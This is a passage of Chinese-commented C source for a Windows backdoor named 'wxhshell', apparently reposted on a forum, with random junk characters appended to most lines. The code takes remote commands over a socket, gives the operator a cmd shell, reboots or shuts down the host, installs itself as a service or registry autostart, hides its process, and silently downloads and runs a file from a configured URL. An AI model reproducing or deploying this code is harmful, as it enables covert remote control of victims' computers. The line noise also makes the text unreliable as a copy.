  mE_?E&T`|  
  // 帮助 0N*~"j;r#M  
  case '?': { D7b] ;Nf\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ea[K$NC)#  
    break; v`pIovn  
  } #+Cu&l  
  // 安装 m]:|j[!*M  
  case 'i': { Ycve[31BDd  
    if(Install()) &p#.m"Oon  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '0>w_ge4  
    else ;3WVrYe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'I roQ M  
    break; 3)+}2  
    } Qf}b3WEAI  
  // 卸载 |cCrLa2*-  
  case 'r': { } ^67HtNQ  
    if(Uninstall()) hbv>Jjd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OfGMeN6  
    else %B'*eBj~fw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); op|/_I$  
    break; %JC-%TRWK  
    } @'{m-?*  
  // 显示 wxhshell 所在路径 vEIDf{  
  case 'p': { 7R`:^}'>  
    char svExeFile[MAX_PATH]; 'm,3znX!c  
    strcpy(svExeFile,"\n\r"); >|22%YVX  
      strcat(svExeFile,ExeFile); y0D="2)  
        send(wsh,svExeFile,strlen(svExeFile),0); c31k%/.  
    break; c>%+y+b{  
    } R3SAt-IE  
  // 重启 (\<#fkeH  
  case 'b': { .. xg4V/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wq1%  
    if(Boot(REBOOT)) =N%;HfUD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @] ` _+\y  
    else { ,KHebv!  
    closesocket(wsh); <Prz>qL$  
    ExitThread(0); n2$(MDdL`  
    } ({}JvSn1  
    break; Z&!5'_9{V  
    } IP E2t  
  // 关机 N>S_Vgk}  
  case 'd': { ~;A36M-[.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?UlAwxn  
    if(Boot(SHUTDOWN)) [80L|?, *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dM}B-  
    else { .6m%/-whS  
    closesocket(wsh); ~a^"VQ5]ac  
    ExitThread(0); ~al4`:rRx1  
    } IOx9".  
    break; &xG>"sJ  
    } o0Y {k8  
  // 获取shell O]SjShp  
  case 's': { (c<MyuWb  
    CmdShell(wsh); !vB8Pk"  
    closesocket(wsh); cZ{-h  
    ExitThread(0); I'M,p<B  
    break; mgk<PY  
  } 7n,*3;I  
  // 退出 %B&y^mZv*\  
  case 'x': { ',o ,o%n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yz?4eSa/  
    CloseIt(wsh); ]\y:AkxhJ  
    break; 9#CE m &c  
    } 2aef[TY  
  // 离开 gn>qd6P  
  case 'q': { IXaF(2>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h#ogL-UU  
    closesocket(wsh); .]_ (>^6  
    WSACleanup(); y my/`%  
    exit(1); ?=X G#we  
    break; '+6SkZ  
        } vKv!{>,v9Z  
  } Bw ]Y7 1  
  } C 'YL9r-G  
e_Ue9c.}  
  // 提示信息 U,?[x2LF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LZirw'  
} " Zo<$p3]  
  } 0=3Av8  
|;XkU`G  
  return; +}eGCZra  
} K'6dlwn).  
uAd4 Zz  
// shell模块句柄 ^XsIQz[q  
int CmdShell(SOCKET sock) n*UD0U}`  
{ yHY \4OHS  
STARTUPINFO si; :T62_cFG  
ZeroMemory(&si,sizeof(si)); Ifgh yh<d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K"%_q$[YQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B:-qUuS?R  
PROCESS_INFORMATION ProcessInfo; j06q3N"  
char cmdline[]="cmd"; U}w,$ Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jF5Y-CX  
  return 0; 8T&.8r  
} MN wMF  
;}iV`)S  
// 自身启动模式 oa4{s&db-  
int StartFromService(void) f-lM[\ma_  
{ sop *?0  
typedef struct fwe4f  
{ {h< V^r  
  DWORD ExitStatus; 3#O R fr(  
  DWORD PebBaseAddress; 5cr d.1@^  
  DWORD AffinityMask; N:"S/G>r ;  
  DWORD BasePriority; LHQ$0LVt>T  
  ULONG UniqueProcessId; KaEL*  
  ULONG InheritedFromUniqueProcessId; G?p !*7N  
}   PROCESS_BASIC_INFORMATION; 7Nu.2qE  
it Byw1/  
PROCNTQSIP NtQueryInformationProcess; |ia#Elavo  
 `7v"(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %\i OX|F_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3sh}(  
}0Q_yuzx0m  
  HANDLE             hProcess; S.u1[Yz^  
  PROCESS_BASIC_INFORMATION pbi; `%%/`Qpj;  
u,E_Ezq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~pv|  
  if(NULL == hInst ) return 0; zWN<"[agc  
[&Yrnkgr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0| a,bwZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F(!9;O5J]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (qG}`?219J  
K~1u R:DR  
  if (!NtQueryInformationProcess) return 0; 8-s7^*!  
DJ zJ$Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xaPaK-  
  if(!hProcess) return 0; apz) 4%A  
tsYBZaH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ? Zhnb0/  
8)Z)pCN  
  CloseHandle(hProcess); (_9u<  
xF/u('A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?M<q95pL  
if(hProcess==NULL) return 0; >}"9heF  
&U.U<  
HMODULE hMod; bfE4.YF  
char procName[255]; '<Fr}Cn  
unsigned long cbNeeded; IqA'Vz,lL  
d~0k}|>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [3@Pu.-I+M  
Y8%bk2  
  CloseHandle(hProcess); 51sn+h<w  
l;~b:[r  
if(strstr(procName,"services")) return 1; // 以服务启动 R^hlfKnt  
=._V$:a6o  
  return 0; // 注册表启动 {Xjj-@  
} y#B4m`9  
eBZ94rA]  
// 主模块 ^t 2b`n60  
int StartWxhshell(LPSTR lpCmdLine) |ee A>z"I  
{ _HAtTW  
  SOCKET wsl; -eQ>3x&3r  
BOOL val=TRUE; VUneCt%  
  int port=0; H(QbH)S$6  
  struct sockaddr_in door; [C0"vOTUb  
k#oe:u`<  
  if(wscfg.ws_autoins) Install(); oAxRI+&|.  
qexnsL  
port=atoi(lpCmdLine); CVAX?c{   
-$A >b8  
if(port<=0) port=wscfg.ws_port; !*\ J4bJe  
ns&3Dh(IVP  
  WSADATA data; O{<uW-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .rcXxV@f  
"XB6k 0.#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gb^<6BYUG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B<Zm'hdX  
  door.sin_family = AF_INET; gj@>9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l:.q1UV  
  door.sin_port = htons(port); *-vH64e  
Y(/y,bJ?jp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~p!=w#/  
closesocket(wsl); N0V`xrS  
return 1; h`@z61UI  
} M/abd 7q  
KKRj#m(:!  
  if(listen(wsl,2) == INVALID_SOCKET) { J5zKwt  
closesocket(wsl); ev[!:*6P  
return 1; :5#iVa#<  
} [sXn B$  
  Wxhshell(wsl); NtDxwzj  
  WSACleanup(); }nK=~Wcu\  
cl{kCSZo.z  
return 0; k++"  
9}|t`V"  
} b(Nxk2uv  
nkO4~p  
// 以NT服务方式启动 AT -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \!Wph5wA  
{ nj <nW5[  
DWORD   status = 0; 9&"wfN N  
  DWORD   specificError = 0xfffffff; G2s2i2& 6E  
Jz@2?wSp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @M)"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QR\2 %}9b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m0,TH[HWGF  
  serviceStatus.dwWin32ExitCode     = 0; 7Ml OBPh  
  serviceStatus.dwServiceSpecificExitCode = 0; cq4sgQ?sW  
  serviceStatus.dwCheckPoint       = 0; ayZWt| iHA  
  serviceStatus.dwWaitHint       = 0; v@1f,d  
mNPz%B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "3$P<Q\;l;  
  if (hServiceStatusHandle==0) return; Y?4N%c_;  
M6lNdK  
status = GetLastError(); ^5Ob(FvU  
  if (status!=NO_ERROR) H03R?S9AQ  
{ 5n1T7-QCL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .F]"%RK[  
    serviceStatus.dwCheckPoint       = 0; :OD-L)Or  
    serviceStatus.dwWaitHint       = 0; l:14uWu|  
    serviceStatus.dwWin32ExitCode     = status; \Z^Tk   
    serviceStatus.dwServiceSpecificExitCode = specificError; .|/VD'xV"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a\xf\$Ym  
    return; iHk/#a  
  } T1A/>\Ns  
xsRu~'f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uX8G<7O^  
  serviceStatus.dwCheckPoint       = 0; a/gr1  
  serviceStatus.dwWaitHint       = 0; | W<jN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E.4 X,  
} ]DK.4\^  
8.tp#x,A  
// 处理NT服务事件,比如:启动、停止 )dF`L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S20E}bS:>  
{ K{`3,U2Wx  
switch(fdwControl) xeKfc}:&z  
{ $c];&)7q  
case SERVICE_CONTROL_STOP: @WuG8G  
  serviceStatus.dwWin32ExitCode = 0; znNv;-q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w!/|aZ~*  
  serviceStatus.dwCheckPoint   = 0; f"d4HZD^  
  serviceStatus.dwWaitHint     = 0; GQ1m h*4$  
  { ?#J;\^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o(Q='kK  
  } !UX7R\qu|  
  return; AfJ.SNE  
case SERVICE_CONTROL_PAUSE: ;s w3MRJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gFw- P#t  
  break; %P`|kPW1  
case SERVICE_CONTROL_CONTINUE: I#:,!vjn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1*]@1DJt  
  break; V w5@)l*f  
case SERVICE_CONTROL_INTERROGATE: M6*8}\  
  break; '9 Xw_1B  
}; 4 moVS1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~.<}/GP]_  
} --g? `4  
xi!R[xr1  
// 标准应用程序主函数 ufXU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W%P0X5YQ  
{ (!dwUB  
Y[`%j\=  
// 获取操作系统版本 9 p`|~^X  
OsIsNt=GetOsVer(); Yf[GpSej  
GetModuleFileName(NULL,ExeFile,MAX_PATH); br7_P1ep  
<UBB&}R0  
  // 从命令行安装 RiCzH  
  if(strpbrk(lpCmdLine,"iI")) Install(); .6y(ox|LL  
 *egAx  
  // 下载执行文件 q-nM]Gm  
if(wscfg.ws_downexe) { 82~ZPZG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5JA5:4aev  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?G$X 4KY6`  
} a3(q;^v  
tC'@yX  
if(!OsIsNt) { YLe$Vv735  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,?>:Cdz4  
HideProc(); q)KLf\  
StartWxhshell(lpCmdLine); t?cO>4*|  
} q NE( @at  
else bx%P-r31  
  if(StartFromService()) cT,5xp"a  
  // 以服务方式启动 H2D j`0  
  StartServiceCtrlDispatcher(DispatchTable); 4 n\dh<uY  
else 4XsKOv  
  // 普通方式启动 ,K[}Bz  
  StartWxhshell(lpCmdLine); OA\ *)c+F  
sXm,y$ \m  
return 0; O(Vi/r2:e  
}
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只看该作者 1 发表于: 2006-10-10
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